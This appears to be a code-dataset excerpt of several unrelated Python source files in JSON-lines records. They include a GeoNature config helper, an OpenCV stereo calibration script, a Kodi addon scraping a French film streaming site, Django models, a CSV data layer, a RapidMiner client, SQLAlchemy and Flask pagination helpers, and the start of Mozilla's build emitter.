for idx, val in enumerate(config_data[ckey]):\n config_data[ckey][idx] = find_field_config(val)\n return config_data\n\n\ndef parse_field(fieldlist):\n '''\n Traitement particulier pour les champs de type field :\n Chargement des listes de valeurs de nomenclature\n '''\n for field in fieldlist:\n if 'options' not in field:\n field['options'] = {}\n if 'thesaurus_code_type' in field:\n field['options']['choices'] = format_nomenclature_list(\n {\n 'code_type': field['thesaurus_code_type'],\n 'regne': field.get('regne'),\n 'group2_inpn': field.get('group2_inpn'),\n }\n )\n if 'default' in field:\n field['options']['default'] = get_nomenclature_id_term(\n str(field['thesaurus_code_type']),\n str(field['default']),\n False\n )\n\n if 'thesaurusHierarchyID' in field:\n field['options']['choices'] = format_nomenclature_list(\n {\n 'code_type': field['thesaurus_code_type'],\n 'hierarchy': field['thesaurusHierarchyID']\n }\n )\n if 'attached_table_location' in field['options']:\n (schema_name, table_name) = field['options']['attached_table_location'].split('.') # noqa\n field['options']['id_table_location'] = (\n get_table_location_id(schema_name, table_name)\n )\n\n if 'fields' in field:\n field['fields'] = parse_field(field['fields'])\n\n return fieldlist\n\n\ndef format_nomenclature_list(params):\n '''\n Mise en forme des listes de valeurs de façon à assurer une\n compatibilité avec l'application de suivis\n '''\n mapping = {\n 'id': {'object': 'nomenclature', 'field': 'id_nomenclature'},\n 'libelle': {'object': 'nomenclature', 'field': 'label_default'}\n }\n nomenclature = get_nomenclature_list_formated(params, mapping)\n return nomenclature\n","repo_name":"cdcvidal/GeoNature","sub_path":"backend/geonature/core/gn_monitoring/config_manager.py","file_name":"config_manager.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"fr","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"16367824992","text":"import cv2\r\nimport numpy as np\r\n\r\ndef calibrate_stereo(w, h, objpoints, imgpoints_l, imgpoints_r):\r\n stereocalib_criteria = (cv2.TERM_CRITERIA_COUNT + cv2.TERM_CRITERIA_EPS , 1000, 1e-6)\r\n retval, A1, D1, A2, D2, R, T, E, F = cv2.stereoCalibrate(objpoints,imgpoints_l, imgpoints_r,None,None,None,None, (w,h), flags=0, criteria=stereocalib_criteria)\r\n\r\n return (retval, (A1,D1,A2,D2, R, T, E, F))\r\n\r\ndef calc_rms_stereo(objectpoints, imgpoints_l, imgpoints_r, A1, D1, A2, D2, R, T):\r\n tot_error = 0\r\n total_points = 0\r\n\r\n for i, objpoints in enumerate(objectpoints):\r\n # calculate world <-> cam1 transformation\r\n _, rvec_l, tvec_l,_ = cv2.solvePnPRansac(objpoints, imgpoints_l[i], A1, D1)\r\n\r\n # compute reprojection error for cam1\r\n rp_l, _ = cv2.projectPoints(objpoints, rvec_l, tvec_l, A1, D1)\r\n tot_error += np.sum(np.square(np.float64(imgpoints_l[i] - rp_l)))\r\n total_points += len(objpoints)\r\n\r\n # calculate world <-> cam2 transformation\r\n rvec_r, tvec_r = cv2.composeRT(rvec_l,tvec_l,cv2.Rodrigues(R)[0],T)[:2]\r\n\r\n # compute reprojection error for cam2\r\n rp_r,_ = cv2.projectPoints(objpoints, rvec_r, tvec_r, A2, D2)\r\n tot_error += np.square(imgpoints_r[i] - rp_r).sum()\r\n total_points += len(objpoints)\r\n\r\n mean_error = np.sqrt(tot_error/total_points)\r\n\r\n return mean_error\r\nw=0\r\nh=0\r\nobjectpoints=0\r\nccc=0\r\nif __name__ == \"__main__\": \r\n # omitted: reading values for w,h, objectPoints, imgpoints_l, imgpoints_r from file (format as expected by the OpenCV functions)\r\n # [...]\r\n\r\n rms, (A1,D1,A2,D2,R,T,_,_) = calibrate_stereo(w, h, ccc)\r\n\r\n print(\"RMS (stereo calib): {}\".format(rms))\r\n\r\n rms_2 = calc_rms_stereo(objectpoints, imgpoints_l, imgpoints_r, A1, D1, A2, D2, R, T) \r\n print(\"RMS (custom calculation):\", rms_2)\r\n","repo_name":"ArhumGit/Camera_Parameters","sub_path":"err_exp.py","file_name":"err_exp.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"32692541979","text":"# -*- coding: utf-8 -*-\n# vStream https://github.com/Kodi-vStream/venom-xbmc-addons\n\nimport re\n\nfrom resources.lib.gui.hoster import cHosterGui\nfrom resources.lib.gui.gui import cGui\nfrom resources.lib.handler.inputParameterHandler import cInputParameterHandler\nfrom resources.lib.handler.outputParameterHandler import cOutputParameterHandler\nfrom resources.lib.handler.requestHandler import cRequestHandler\nfrom resources.lib.comaddon import siteManager\nfrom resources.lib.parser import cParser\nfrom resources.lib.util import QuotePlus, cUtil\n\nSITE_IDENTIFIER = 'mesfilms'\nSITE_NAME = 'Mes Films'\nSITE_DESC = 'Mes Films - Films en streaming HD'\n\nURL_MAIN = siteManager().getUrlMain(SITE_IDENTIFIER)\nUA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0'\n\nURL_SEARCH = (URL_MAIN + '?s=', 'showSearchResult')\nURL_SEARCH_MOVIES = (URL_SEARCH[0], 'showSearchResult')\nFUNCTION_SEARCH = 'showSearchResult'\n\nMOVIE_MOVIE = (True, 'load')\nMOVIE_NEWS = (URL_MAIN + 'film/', 'showMovies')\nMOVIE_VIEWS = (URL_MAIN + 'tendance/?get=movies', 'showMovies')\nMOVIE_NOTES = (URL_MAIN + 'evaluations/?get=movies', 'showMovies')\nMOVIE_CLASS = (URL_MAIN + 'films-classiques/', 'showMovies')\nMOVIE_GENRES = (True, 'showGenres')\nMOVIE_ANNEES = (True, 'showMovieYears')\n# MOVIE_LIST = (True, 'showList')\n\n\ndef load():\n oGui = cGui()\n\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', 'http://venom/')\n oGui.addDir(SITE_IDENTIFIER, 'showSearch', 'Recherche', 'search.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_NEWS[0])\n oGui.addDir(SITE_IDENTIFIER, MOVIE_NEWS[1], 'Films (Derniers ajouts)', 'news.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_VIEWS[0])\n oGui.addDir(SITE_IDENTIFIER, MOVIE_VIEWS[1], 'Films (Populaires)', 'views.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_NOTES[0])\n oGui.addDir(SITE_IDENTIFIER, MOVIE_NOTES[1], 'Films (Les mieux notés)', 'notes.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_CLASS[0])\n oGui.addDir(SITE_IDENTIFIER, MOVIE_CLASS[1], 'Films (Classiques)', 'star.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_GENRES[0])\n oGui.addDir(SITE_IDENTIFIER, MOVIE_GENRES[1], 'Films (Genres)', 'genres.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_ANNEES[0])\n oGui.addDir(SITE_IDENTIFIER, MOVIE_ANNEES[1], 'Films (Par années)', 'annees.png', oOutputParameterHandler)\n\n # ne fonctionne plus sur le site\n # oOutputParameterHandler.addParameter('siteUrl', MOVIE_LIST[0])\n # oGui.addDir(SITE_IDENTIFIER, MOVIE_LIST[1], 'Films (Liste)', 'az.png', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef showSearch():\n oGui = cGui()\n\n sSearchText = oGui.showKeyBoard()\n if sSearchText:\n sUrl = URL_SEARCH[0] + QuotePlus(sSearchText)\n showSearchResult(sUrl)\n oGui.setEndOfDirectory()\n return\n\n\ndef showGenres():\n oGui = cGui()\n\n liste = [['Action', 'action'], ['Action & aventure', 'action-adventure'], ['Animation', 'animation'],\n ['Aventure', 'aventure'], ['Comédie', 'comedie'], ['Crime', 'crime'], ['Documentaire', 'documentaire'],\n ['Drame', 'drame'], ['Etranger', 'etranger'], ['Familial', 'familial'], ['Fantastique', 'fantastique'],\n ['Guerre', 'guerre'], ['Histoire', 'histoire'], ['Horreur', 'horreur'], ['Musique', 'musique'],\n ['Mystère', 'mystere'], ['News', 'news'], ['Policier', 'policier'], ['Reality', 'reality'],\n ['Romance', 'romance'], ['Science Fiction', 'science-fiction'],\n ['Science Fiction & Fantastique', 'science-fiction-fantastique'], ['Soap', 'soap'], ['Talk', 'talk'],\n ['Téléfilm', 'telefilm'], ['Thriller', 'thriller'], ['War & Politics', 'war-politics'],\n ['Western', 'western']]\n\n oOutputParameterHandler = cOutputParameterHandler()\n for sTitle, sUrl in liste:\n oOutputParameterHandler.addParameter('siteUrl', URL_MAIN + 'genre/' + sUrl + '/')\n oGui.addDir(SITE_IDENTIFIER, 'showMovies', sTitle, 'genres.png', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef showList():\n oGui = cGui()\n\n liste = [['09', '09'], ['A', 'a'], ['B', 'b'], ['C', 'c'], ['D', 'd'], ['E', 'e'], ['F', 'f'], ['G', 'g'],\n ['H', 'h'], ['I', 'i'], ['J', 'j'], ['K', 'k'], ['L', 'l'], ['M', 'm'], ['N', 'n'], ['O', 'o'], ['P', 'p'],\n ['Q', 'q'], ['R', 'r'], ['S', 's'], ['T', 't'], ['U', 'u'], ['V', 'v'], ['W', 'w'], ['X', 'x'], ['Y', 'y'],\n ['Z', 'z']]\n\n oOutputParameterHandler = cOutputParameterHandler()\n for sTitle, sUrl in liste:\n oOutputParameterHandler.addParameter('siteUrl', URL_MAIN + '?letter=true&s=title-' + sUrl)\n oGui.addDir(SITE_IDENTIFIER, 'showMovies', 'Lettre [COLOR coral]' + sTitle + '[/COLOR]', 'az.png', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef showMovieYears():\n oGui = cGui()\n\n oOutputParameterHandler = cOutputParameterHandler()\n for i in reversed(range(1963, 2024)):\n Year = str(i)\n oOutputParameterHandler.addParameter('siteUrl', URL_MAIN + 'annee/' + Year + '/')\n oGui.addDir(SITE_IDENTIFIER, 'showMovies', Year, 'annees.png', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef showSearchResult(sSearch=''):\n oGui = cGui()\n oParser = cParser()\n sUrl = sSearch\n\n if sSearch:\n oUtil = cUtil()\n sSearchText = sSearch.replace(URL_SEARCH_MOVIES[0], '')\n sSearchText = oUtil.CleanName(sSearchText)\n\n oRequestHandler = cRequestHandler(sUrl)\n sHtmlContent = oRequestHandler.request()\n sPattern = 'animation-2\".+?href=\"([^\"]+).+?src=\"([^\"]+)\" alt=\"([^\"]+).+?(?:|year\">([^<]*)<.+?)

(.*?)<'\n aResult = oParser.parse(sHtmlContent, sPattern)\n\n if not aResult[0]:\n oGui.addText(SITE_IDENTIFIER)\n else:\n oOutputParameterHandler = cOutputParameterHandler()\n for aEntry in aResult[1]:\n sUrl = aEntry[0]\n sThumb = re.sub('/w\\d+/', '/w342/', aEntry[1], 1) # meilleure qualité\n sTitle = aEntry[2].replace(': Season', ' Saison')\n sYear = aEntry[3]\n if sYear != '': # on ne récupere que l'année\n sYear = re.search('(\\d{4})', sYear).group(1)\n sDesc = aEntry[4]\n\n # on ne recherche que des films même si séries et animés disponible\n if '/film/' not in sUrl:\n continue\n\n # Filtrer les résultats\n if sSearch:\n if not oUtil.CheckOccurence(sSearchText, sTitle):\n continue\n\n oOutputParameterHandler.addParameter('siteUrl', sUrl)\n oOutputParameterHandler.addParameter('sMovieTitle', sTitle)\n oOutputParameterHandler.addParameter('sThumb', sThumb)\n oOutputParameterHandler.addParameter('sYear', sYear) # permet à addMovie d'afficher l'année en Meta\n\n oGui.addMovie(SITE_IDENTIFIER, 'showLinks', sTitle, '', sThumb, sDesc, oOutputParameterHandler)\n\n\ndef showMovies(sSearch=''):\n oGui = cGui()\n oParser = cParser()\n if sSearch:\n sUrl = sSearch\n else:\n oInputParameterHandler = cInputParameterHandler()\n sUrl = oInputParameterHandler.getValue('siteUrl')\n\n oRequestHandler = cRequestHandler(sUrl)\n sHtmlContent = oRequestHandler.request()\n sPattern = 'poster\">\\n*<[^<>]+src=\"([^\"]+)\" alt=\"([^\"]+).+?(?:|quality\">([^<]+).+?)href=\"([^\"]+).+?([^<]+).+?(texto\">(.*?)<|<\\/article)'\n aResult = oParser.parse(sHtmlContent, sPattern)\n\n if not aResult[0]:\n oGui.addText(SITE_IDENTIFIER)\n\n if aResult[0]:\n oOutputParameterHandler = cOutputParameterHandler()\n for aEntry in aResult[1]:\n sThumb = re.sub('/w\\d+/', '/w342/', aEntry[0], 1) # ameliore la qualité\n sTitle = aEntry[1]\n sQual = aEntry[2]\n sUrl2 = aEntry[3]\n sYear = aEntry[4]\n sDesc = '' # cas ou la sdesc n'est pas presente\n if aEntry[6]:\n sDesc = aEntry[6]\n sDisplayTitle = ('%s [%s]') % (sTitle, sQual)\n\n oOutputParameterHandler.addParameter('siteUrl', sUrl2)\n oOutputParameterHandler.addParameter('sMovieTitle', sTitle)\n oOutputParameterHandler.addParameter('sThumb', sThumb)\n oOutputParameterHandler.addParameter('sYear', sYear)\n\n oGui.addMovie(SITE_IDENTIFIER, 'showLinks', sDisplayTitle, '', sThumb, sDesc, oOutputParameterHandler)\n\n sNextPage, sPaging = __checkForNextPage(sHtmlContent)\n if sNextPage:\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', sNextPage)\n oGui.addNext(SITE_IDENTIFIER, 'showMovies', 'Page ' + sPaging, oOutputParameterHandler)\n\n if not sSearch:\n oGui.setEndOfDirectory()\n\n\ndef __checkForNextPage(sHtmlContent):\n oParser = cParser()\n sPattern = 'class=\"pagination\">Page.+?de ([^<]+).+?href=\"([^\"]+)\">([^<]+)\\s*([^<]+)\"\n aResult = oParser.parse(sHtmlContent, sPattern)\n\n if not aResult[0]:\n oGui.addText(SITE_IDENTIFIER)\n\n if aResult[0]:\n oOutputParameterHandler = cOutputParameterHandler()\n for aEntry in aResult[1]:\n\n sType = aEntry[0]\n sPost = aEntry[1]\n sNume = aEntry[2]\n sQual = aEntry[3]\n sHost = re.sub('\\.\\w+', '', aEntry[4]).capitalize()\n if 'Youtube' in sHost:\n continue\n\n sTitle = ('%s [%s] [COLOR coral]%s[/COLOR]') % (sMovieTitle, sQual, sHost)\n\n oOutputParameterHandler.addParameter('siteUrl', sUrl)\n oOutputParameterHandler.addParameter('sType', sType)\n oOutputParameterHandler.addParameter('sPost', sPost)\n oOutputParameterHandler.addParameter('sNume', sNume)\n oOutputParameterHandler.addParameter('sMovieTitle', sMovieTitle)\n oOutputParameterHandler.addParameter('sThumb', sThumb)\n oOutputParameterHandler.addParameter('sYear', sYear)\n oGui.addLink(SITE_IDENTIFIER, 'showHosters', sTitle, sThumb, sDesc, oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef showHosters():\n oGui = cGui()\n oParser = cParser()\n oInputParameterHandler = cInputParameterHandler()\n sMovieTitle = oInputParameterHandler.getValue('sMovieTitle')\n sThumb = oInputParameterHandler.getValue('sThumb')\n sType = oInputParameterHandler.getValue('sType')\n sPost = oInputParameterHandler.getValue('sPost')\n sNume = oInputParameterHandler.getValue('sNume')\n\n # trouve la vraie url\n oRequestHandler = cRequestHandler(URL_MAIN)\n oRequestHandler.request()\n sUrl2 = oRequestHandler.getRealUrl() + 'wp-admin/admin-ajax.php'\n\n oRequestHandler = cRequestHandler(sUrl2)\n oRequestHandler.setRequestType(1)\n oRequestHandler.addHeaderEntry('User-Agent', UA)\n oRequestHandler.addHeaderEntry('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8')\n oRequestHandler.addParameters('action', 'doo_player_ajax')\n oRequestHandler.addParameters('type', sType)\n oRequestHandler.addParameters('post', sPost)\n oRequestHandler.addParameters('nume', sNume)\n sHtmlContent = oRequestHandler.request()\n sPattern = \"(http[^'\\\"]+)\"\n aResult = oParser.parse(sHtmlContent, sPattern)\n\n if aResult[0]:\n for aEntry in aResult[1]:\n\n sHosterUrl = aEntry\n\n oHoster = cHosterGui().checkHoster(sHosterUrl)\n if oHoster:\n oHoster.setDisplayName(sMovieTitle)\n oHoster.setFileName(sMovieTitle)\n cHosterGui().showHoster(oGui, oHoster, sHosterUrl, sThumb)\n\n oGui.setEndOfDirectory()\n","repo_name":"Kodi-vStream/venom-xbmc-addons","sub_path":"plugin.video.vstream/resources/sites/mesfilms.py","file_name":"mesfilms.py","file_ext":"py","file_size_in_byte":13064,"program_lang":"python","lang":"en","doc_type":"code","stars":456,"dataset":"github-code","pt":"37"} +{"seq_id":"35265930410","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.utils import timezone\n\nimport search\nfrom oauth2client.django_orm import FlowField\nfrom oauth2client.django_orm import CredentialsField\n\n# Create your models here.\n\nclass CredentialsModel(models.Model):\n id = models.ForeignKey(User, primary_key=True)\n credentials = CredentialsField()\n\n\nclass FlowModel(models.Model):\n id = models.ForeignKey(User, primary_key=True)\n flow = FlowField()\n\n\nclass Search(models.Model):\n search = models.CharField(max_length=128)\n searcher = models.ForeignKey(User)\n pub_date = models.DateTimeField()\n\n class Meta:\n ordering = ['-pub_date', ]\n verbose_name_plural = 'searches'\n\n def __unicode__(self):\n return self.search\n\n def save(self):\n if not self.pk:\n # this object is new, set pub_date\n self.pub_date = timezone.now()\n super(Search, self).save()\n\n\nclass Results(models.Model):\n #result = search.youtube_search(10)\n\n def __unicode__(self):\n return self.result\n\n\nclass Video(models.Model):\n pass\n","repo_name":"dj2scoop/final_project","sub_path":"website/youtube/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33026785324","text":"import csv\nfrom os import sep\n# from location import Location\nclass LocationDL():\n def __init__(self):\n self.csv = f\"CSV_Files{sep}Destination.csv\"\n\n\n def get_all_loc(self):\n ''' this function lists dicts of all reports from in a csv file\n '''\n ret_lis = []\n with open(self.csv, newline='', encoding=\"utf-8\") as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n temp_dict = {}\n for item in row:\n temp_dict[item] = row[item]\n ret_lis.append(temp_dict)\n return ret_lis\n\n def add_loc(self,loc):\n ''' this function adds location to a csv file\n '''\n with open(self.csv, 'a', newline='', encoding='utf-8') as csvfile:\n fieldnames = [\"id\",\"Name\",\"Country\",\"Airport\",\"Phone\",\"Working-hours\",\"Manager\",\"Manager-id\"]\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writerow({\"id\":loc.id,'Name': loc.name, \"Country\": loc.country, \"Airport\": loc.airport, \"Phone\": loc.phone, \"Working-hours\": loc.work_time, \"Manager\": loc.manager,\"Manager-id\":loc.manager_id})\n\n \n def change_loc_info(self,loc_lis):\n ''' This function edits the csv file if something is edited\n '''\n with open(self.csv, 'w+', newline='',encoding='utf-8') as f:\n writer = csv.writer(f)\n header = loc_lis[0]\n writer.writerow(header)\n for dic in loc_lis:\n writer.writerow([dic[\"id\"],dic[\"Name\"],dic[\"Country\"],dic[\"Airport\"],dic[\"Phone\"],dic[\"Working-hours\"],dic[\"Manager\"],dic[\"Manager-id\"]])\n\n\nif __name__ == \"__main__\":\n g = LocationDL()\n #t = Location(\"Reykjavík\",\"iceland\",\"NAN\",\"00\",\"00\",\"Arnar Singh\",\"1\")\n # g.add_loc(t)\n #g.change_loc_info(g.get_all_loc())\n","repo_name":"lsig/NaNairverkefni","sub_path":"NaN_Program/storage_layer/locationDL.py","file_name":"locationDL.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30711666328","text":"import pandas as pd\nimport requests\nimport json\nfrom .utilities import ServerException\nfrom .utilities import extract_json\n\nclass Scoring:\n \"\"\"\n Class that allows you to use the Real-Time Scoring agent directly on a dataset.\n \"\"\"\n\n def __init__(self, hostname, endpoint):\n \"\"\"\n Arguments:\n :param hostname: Server url (together with the port)\n :param endpoint: scoring service endpoint to use\n \"\"\"\n self.url = hostname + \"/services/\" + endpoint\n\n def predict(self, dataframe):\n \"\"\"\n Calls the Real-Time Scoring agent on the specified dataset and returns the result.\n\n Arguments:\n :param dataframe: the pandas DataFrame.\n :return: the result as a pandas DataFrame.\n \"\"\"\n df_json = dataframe.to_json(orient=\"table\")\n\n headers = { 'Content-type': 'application/json' }\n r = requests.post(self.url, data=df_json, headers=headers)\n response = extract_json(r)\n if r.status_code != 200:\n message = \"Could not score data, status: \" + str(r.status_code)\n try:\n message += \". Message: \" + response[\"message\"]\n except KeyError:\n message += \"\"\n raise ServerException(message)\n\n json_string = json.dumps(response[\"data\"])\n df_out = pd.read_json(json_string)\n\n return df_out\n","repo_name":"rapidminer/python-rapidminer","sub_path":"rapidminer/core/scoring.py","file_name":"scoring.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"37"} +{"seq_id":"30191460605","text":"# Importando libs\nfrom re import S\nimport sqlalchemy as sa\nfrom sqlalchemy.orm import sessionmaker\n\nfrom typing import Optional\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy.future.engine import Engine\nfrom models.model_base import ModelBase\n\n__engine: Optional[Engine] = None\n\ndef create_engine() -> Engine:\n '''Função para configurar a conexão com o Banco de dados'''\n global __engine \n if __engine:\n return\n\n conn_str = 'mysql+mysqlconnector://root:@localhost:3306/PICOLES'\n __engine = sa.create_engine(url=conn_str, echo=False)\n\ndef create_session() -> Session:\n '''Função para criar a sessão de conexão ao banco de dados'''\n global __engine\n if not __engine:\n create_engine()\n\n __session = sessionmaker(__engine, expire_on_commit=False, class_=Session)\n\n session: Session = __session()\n return session\n\ndef create_tables() -> None:\n global __engine\n\n if not __engine:\n create_engine()\n\n import models.__all_models\n\n ModelBase.metadata.drop_all()\n ModelBase.metadata.create_all()\n","repo_name":"FelipeHardmann/python_data_science_ml_estudos","sub_path":"atividades/sqlalchemy/conf/db_session.py","file_name":"db_session.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"29433402469","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n Pagination functionality.\n\"\"\"\n\nfrom typing import List\nfrom typing import Optional\n\nfrom flask import request\nfrom flask_babel import gettext as _\nfrom flask_sqlalchemy import BaseQuery\n\nfrom app import db\nfrom app import get_app\n\n\nclass Pagination(object):\n \"\"\"\n A helper object providing basic functionality for all paginations.\n \"\"\"\n\n def __init__(self, query: BaseQuery, page_param: str = 'page') -> None:\n \"\"\"\n The current page will be determined from the page parameter in the request arguments. If the page parameter\n is not included in the request arguments, the current page defaults to `1`.\n\n :param query: The base query that will be paginated.\n :param page_param: The name of the page parameter specifying the current page. Defaults to ``page``.\n \"\"\"\n\n self.current_page: int\n self.rows_per_page: int\n\n # Get the current page from the request arguments.\n try:\n self.current_page = request.args.get(page_param, 1, type=int)\n except TypeError:\n # In tests, the above call fails because get does not take keyword arguments - it does however work outside\n # of requests. Thus, fall back to this manual conversion.\n self.current_page = int(request.args.get(page_param, 1))\n\n application = get_app()\n self.rows_per_page = application.config['ITEMS_PER_PAGE']\n\n self._rows = query.paginate(self.current_page, self.rows_per_page)\n\n @property\n def first_row(self) -> int:\n \"\"\"\n The index of the first row.\n\n :return: The number of the first row on the current page.\n \"\"\"\n\n rows_on_previous_page = (self.current_page - 1) * self.rows_per_page\n return rows_on_previous_page + 1\n\n @property\n def last_row(self) -> int:\n \"\"\"\n The index of the last row.\n\n :return: The number of the last row on the current page.\n \"\"\"\n\n return self.first_row + self.rows_on_page - 1\n\n @property\n def rows(self) -> List[db.Model]: # type: ignore\n \"\"\"\n Get the actual objects for the current page.\n\n :return: The SQLAlchemy models shown on the current page.\n \"\"\"\n\n return self._rows.items # type: ignore\n\n @property\n def rows_on_page(self) -> int:\n \"\"\"\n Get the number of rows that are displayed on the current page.\n\n :return: The number of rows in the page.\n \"\"\"\n\n return len(self.rows)\n\n @property\n def total_pages(self) -> int:\n \"\"\"\n Get the number of total pages.\n\n :return: The number of pages needed to display all rows.\n \"\"\"\n\n return self._rows.pages # type: ignore\n\n @property\n def total_rows(self) -> int:\n \"\"\"\n The number of total rows.\n\n :return: The number of total rows across all pages.\n \"\"\"\n\n return self._rows.total # type: ignore\n\n def get_info_text(self, search_term: Optional[str] = None) -> str:\n \"\"\"\n Get an informational text explaining how many results are being displayed on the current page.\n\n :param search_term: If given, this term will be included in the info text to explain that the results are\n being filtered by this value.\n :return: The info text.\n \"\"\"\n\n # Text with a search.\n if search_term:\n\n # More than one result on the page.\n if self.rows_on_page >= 2:\n return _('Displaying results %(first_result)d to %(last_result)d of %(total_results)d ' # type: ignore\n 'matching “%(search)s”',\n first_result=self.first_row, last_result=self.last_row, total_results=self.total_rows,\n search=search_term)\n\n # One result on the page.\n if self.rows_on_page == 1:\n return _('Displaying result %(result)d of %(total_results)d matching “%(search)s”', # type: ignore\n result=self.first_row, total_results=self.total_rows, search=search_term)\n\n # No results.\n return _('No results found matching “%(search)s”', search=search_term) # type: ignore\n\n # Text without a search.\n\n # More than one result on the page.\n if self.rows_on_page >= 2:\n return _('Displaying results %(first_result)d to %(last_result)d of %(total_results)d', # type: ignore\n first_result=self.first_row, last_result=self.last_row, total_results=self.total_rows)\n\n # One result on the page.\n if self.rows_on_page == 1:\n return _('Displaying result %(result)d of %(total_results)d', # type: ignore\n result=self.first_row, total_results=self.total_rows)\n\n # No results.\n return _('No results') # type: ignore\n","repo_name":"BMeu/Aerarium","sub_path":"app/pagination.py","file_name":"pagination.py","file_ext":"py","file_size_in_byte":5003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13691226567","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nfrom __future__ import absolute_import, unicode_literals\n\nimport itertools\nimport logging\nimport os\nimport traceback\nimport sys\nimport time\n\nfrom collections import defaultdict, OrderedDict\nfrom mach.mixin.logging import LoggingMixin\nfrom mozbuild.util import (\n memoize,\n OrderedDefaultDict,\n)\n\nimport mozpack.path as mozpath\nimport manifestparser\nimport reftest\nimport mozinfo\n\nfrom .data import (\n AndroidAssetsDirs,\n AndroidExtraPackages,\n AndroidExtraResDirs,\n AndroidResDirs,\n BrandingFiles,\n ChromeManifestEntry,\n ConfigFileSubstitution,\n ContextWrapped,\n Defines,\n DirectoryTraversal,\n Exports,\n FinalTargetFiles,\n FinalTargetPreprocessedFiles,\n GeneratedEventWebIDLFile,\n GeneratedFile,\n GeneratedSources,\n GeneratedWebIDLFile,\n ExampleWebIDLInterface,\n ExternalStaticLibrary,\n ExternalSharedLibrary,\n HeaderFileSubstitution,\n HostDefines,\n HostLibrary,\n HostProgram,\n HostSimpleProgram,\n HostSources,\n InstallationTarget,\n IPDLFile,\n JARManifest,\n Library,\n Linkable,\n LinkageWrongKindError,\n LocalInclude,\n PerSourceFlag,\n PreprocessedTestWebIDLFile,\n PreprocessedWebIDLFile,\n Program,\n SharedLibrary,\n SimpleProgram,\n Sources,\n StaticLibrary,\n TestHarnessFiles,\n TestingFiles,\n TestWebIDLFile,\n TestManifest,\n UnifiedSources,\n VariablePassthru,\n WebIDLFile,\n XPIDLFile,\n)\nfrom mozpack.chrome.manifest import (\n ManifestBinaryComponent,\n Manifest,\n)\n\nfrom .reader import SandboxValidationError\n\nfrom ..testing import (\n TEST_MANIFESTS,\n REFTEST_FLAVORS,\n WEB_PATFORM_TESTS_FLAVORS,\n)\n\nfrom .context import (\n Context,\n SourcePath,\n ObjDirPath,\n Path,\n SubContext,\n TemplateContext,\n)\n\nfrom mozbuild.base import ExecutionSummary\n\n\nclass TreeMetadataEmitter(LoggingMixin):\n \"\"\"Converts the executed mozbuild files into data structures.\n\n This is a bridge between reader.py and data.py. It takes what was read by\n reader.BuildReader and converts it into the classes defined in the data\n module.\n \"\"\"\n\n def __init__(self, config):\n self.populate_logger()\n\n self.config = config\n\n mozinfo.find_and_update_from_json(config.topobjdir)\n\n # Python 2.6 doesn't allow unicode keys to be used for keyword\n # arguments. This gross hack works around the problem until we\n # rid ourselves of 2.6.\n self.info = {}\n for k, v in mozinfo.info.items():\n if isinstance(k, unicode):\n k = k.encode('ascii')\n self.info[k] = v\n\n self._libs = OrderedDefaultDict(list)\n self._binaries = OrderedDict()\n self._linkage = []\n self._static_linking_shared = set()\n\n # Keep track of external paths (third party build systems), starting\n # from what we run a subconfigure in. We'll eliminate some directories\n # as we traverse them with moz.build (e.g. js/src).\n subconfigures = os.path.join(self.config.topobjdir, 'subconfigures')\n paths = []\n if os.path.exists(subconfigures):\n paths = open(subconfigures).read().splitlines()\n self._external_paths = set(mozpath.normsep(d) for d in paths)\n # Add security/nss manually, since it doesn't have a subconfigure.\n self._external_paths.add('security/nss')\n\n self._emitter_time = 0.0\n self._object_count = 0\n\n def summary(self):\n return ExecutionSummary(\n 'Processed into {object_count:d} build config descriptors in '\n '{execution_time:.2f}s',\n execution_time=self._emitter_time,\n object_count=self._object_count)\n\n def emit(self, output):\n \"\"\"Convert the BuildReader output into data structures.\n\n The return value from BuildReader.read_topsrcdir() (a generator) is\n typically fed into this function.\n \"\"\"\n contexts = {}\n\n def emit_objs(objs):\n for o in objs:\n self._object_count += 1\n yield o\n\n for out in output:\n # Nothing in sub-contexts is currently of interest to us. Filter\n # them all out.\n if isinstance(out, SubContext):\n continue\n\n if isinstance(out, Context):\n # Keep all contexts around, we will need them later.\n contexts[out.objdir] = out\n\n start = 